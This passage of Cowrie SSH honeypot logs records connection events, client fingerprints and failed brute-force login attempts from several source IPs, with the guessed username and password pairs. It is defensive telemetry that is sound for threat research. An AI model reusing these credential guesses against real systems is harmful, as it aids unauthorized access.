a2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:00.848268Z","src_ip":"201.245.201.162","session":"5023287cc5f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dhiraj","password":"12345678","message":"login attempt [dhiraj/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:01.228276Z","src_ip":"201.245.201.162","session":"5023287cc5f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:02.318146Z","src_ip":"201.245.201.162","session":"5023287cc5f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44382,"dst_ip":"159.203.135.109","dst_port":22,"session":"980645f0517f","protocol":"ssh","message":"New connection: 60.199.224.2:44382 (159.203.135.109:22) [session: 980645f0517f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:18.771915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:18.775037Z","src_ip":"60.199.224.2","session":"980645f0517f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:18.986068Z","src_ip":"60.199.224.2","session":"980645f0517f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ekp","password":"ekp@123456","message":"login attempt [ekp/ekp@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:19.867709Z","src_ip":"60.199.224.2","session":"980645f0517f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:21.081862Z","src_ip":"60.199.224.2","session":"980645f0517f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.253","src_port":59104,"dst_ip":"159.203.135.109","dst_port":22,"session":"68f0d53029c0","protocol":"ssh","message":"New connection: 185.196.10.253:59104 (159.203.135.109:22) [session: 68f0d53029c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:31.166117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:31.170932Z","src_ip":"185.196.10.253","session":"68f0d53029c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:31.280226Z","src_ip":"185.196.10.253","session":"68f0d53029c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"superman","password":"1234","message":"login attempt [superman/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:31.748857Z","src_ip":"185.196.10.253","session":"68f0d53029c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:32.860806Z","src_ip":"185.196.10.253","session":"68f0d53029c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.26.135.100","src_port":42888,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e2f2c3a283a","protocol":"ssh","message":"New connection: 20.26.135.100:42888 (159.203.135.109:22) [session: 9e2f2c3a283a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:45.311929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:45.316130Z","src_ip":"20.26.135.100","session":"9e2f2c3a283a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:45.399589Z","src_ip":"20.26.135.100","session":"9e2f2c3a283a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myftp","password":"myftppass","message":"login attempt [myftp/myftppass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:45.773075Z","src_ip":"20.26.135.100","session":"9e2f2c3a283a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:46.860573Z","src_ip":"20.26.135.100","session":"9e2f2c3a283a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":35831,"dst_ip":"159.203.135.109","dst_port":22,"session":"549e3882d8af","protocol":"ssh","message":"New connection: 2.57.121.112:35831 (159.203.135.109:22) [session: 549e3882d8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:52.226936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:52.231187Z","src_ip":"2.57.121.112","session":"549e3882d8af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:52.334895Z","src_ip":"2.57.121.112","session":"549e3882d8af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3579","message":"login attempt [admin/3579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:52.822676Z","src_ip":"2.57.121.112","session":"549e3882d8af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3456789","message":"login attempt [admin/3456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:53.929165Z","src_ip":"2.57.121.112","session":"549e3882d8af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.117.56.152","src_port":52854,"dst_ip":"159.203.135.109","dst_port":22,"session":"68e563d68781","protocol":"ssh","message":"New connection: 103.117.56.152:52854 (159.203.135.109:22) [session: 68e563d68781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:53.978410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:53.983328Z","src_ip":"103.117.56.152","session":"68e563d68781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:54.229356Z","src_ip":"103.117.56.152","session":"68e563d68781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3377","message":"login attempt [admin/3377] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:55.035109Z","src_ip":"2.57.121.112","session":"549e3882d8af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dp","password":"dp1234","message":"login attempt [dp/dp1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:55.239848Z","src_ip":"103.117.56.152","session":"68e563d68781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3364068","message":"login attempt [admin/3364068] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:56.142878Z","src_ip":"2.57.121.112","session":"549e3882d8af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:56.487075Z","src_ip":"103.117.56.152","session":"68e563d68781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.152.101","src_port":45112,"dst_ip":"159.203.135.109","dst_port":22,"session":"feb38fedfe62","protocol":"ssh","message":"New connection: 103.52.152.101:45112 (159.203.135.109:22) [session: feb38fedfe62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:56.903156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:56.908472Z","src_ip":"103.52.152.101","session":"feb38fedfe62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:57.115355Z","src_ip":"103.52.152.101","session":"feb38fedfe62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"33223322","message":"login attempt [admin/33223322] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:57.259739Z","src_ip":"2.57.121.112","session":"549e3882d8af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uno85","password":"uno851234","message":"login attempt [uno85/uno851234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:57.954003Z","src_ip":"103.52.152.101","session":"feb38fedfe62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:58.366691Z","src_ip":"2.57.121.112","session":"549e3882d8af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:44:59.167880Z","src_ip":"103.52.152.101","session":"feb38fedfe62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":56882,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8357b234082","protocol":"ssh","message":"New connection: 34.85.163.94:56882 (159.203.135.109:22) [session: a8357b234082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:45:19.055762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:45:19.060377Z","src_ip":"34.85.163.94","session":"a8357b234082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:45:19.071119Z","src_ip":"34.85.163.94","session":"a8357b234082","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tiptop","password":"12345","message":"login attempt [tiptop/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:45:19.314920Z","src_ip":"34.85.163.94","session":"a8357b234082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:45:20.328250Z","src_ip":"34.85.163.94","session":"a8357b234082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":37442,"dst_ip":"159.203.135.109","dst_port":22,"session":"592bea7a292b","protocol":"ssh","message":"New connection: 2.57.122.210:37442 (159.203.135.109:22) [session: 592bea7a292b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:45:22.028835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:45:22.032845Z","src_ip":"2.57.122.210","session":"592bea7a292b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:45:22.132837Z","src_ip":"2.57.122.210","session":"592bea7a292b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root","message":"login attempt [sol/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:45:22.431771Z","src_ip":"2.57.122.210","session":"592bea7a292b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:45:23.533178Z","src_ip":"2.57.122.210","session":"592bea7a292b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44408,"dst_ip":"159.203.135.109","dst_port":22,"session":"8239453187e7","protocol":"ssh","message":"New connection: 60.199.224.2:44408 (159.203.135.109:22) [session: 8239453187e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:17.707404Z"}
